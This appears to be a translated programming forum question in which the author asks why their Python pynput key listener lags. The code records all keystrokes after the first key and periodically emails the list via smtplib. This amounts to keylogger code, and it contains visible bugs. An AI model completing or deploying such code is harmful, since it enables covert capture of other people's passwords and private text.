我想让键盘监听器从一个键(任意键)开始,然后将所有键事件添加到列表中。
当前,我已将侦听器设置如下:
listener = keyboard.Listener(
on_release=on_release)
listener.start()
具有此on_release
功能:
def on_release(key):
global recording
if recording:
global keys_pressed
keys_pressed.append(str(key))
else:
recording = True
keys_pressed.append(str(key))
start_recording()
我的想法是,调用start_recording
函数,该函数创建一个守护进程线程,侦听器在其中记录所有关键事件,并在设置的时间后被杀死:
def start_recording():
t = Thread(target=add_keys_to_list())
t.daemon = True
t.start()
sleep(10)
global keys_pressed
print(" ".join(keys.pressed)
global recording
recording = False
add_keys_to_list()
函数只是:
def add_keys_to_list():
print("task")
listener = keyboard.Listener(
on_release=on_release)
listener.start()
这有效,但仅在某些情况下,它还会导致很多延迟。在我的代码中,我让程序在将每个字母添加到列表之前先打印出每个字母,并且在主线程再次唤醒之后,侦听器似乎添加了字母。我不知道这是否会导致延迟。如果您知道任何解决方案或发现代码有任何问题,请告诉我。
在这里您可以一次查看代码:
def add_keys_to_list():
print("task")
listener = keyboard.Listener(
on_release=on_release)
listener.start()
def start_recording():
t = Thread(target=add_keys_to_list())
t.daemon = True
print("starting t")
t.start()
print("sleeping")
sleep(10)
print("waking up")
send_email()
global recording
recording = False
def on_release(key):
global recording
print(key)
if recording:
global keys_pressed
keys_pressed.append(str(key))
else:
recording = True
print("recording start")
keys_pressed.append(str(key))
start_recording()
listener = keyboard.Listener(
on_release=on_release)
listener.start()
recording = False
keys_pressed = []
while True:
sleep(0.02)
send_email()
函数仅使用smtplib将列表作为电子邮件发送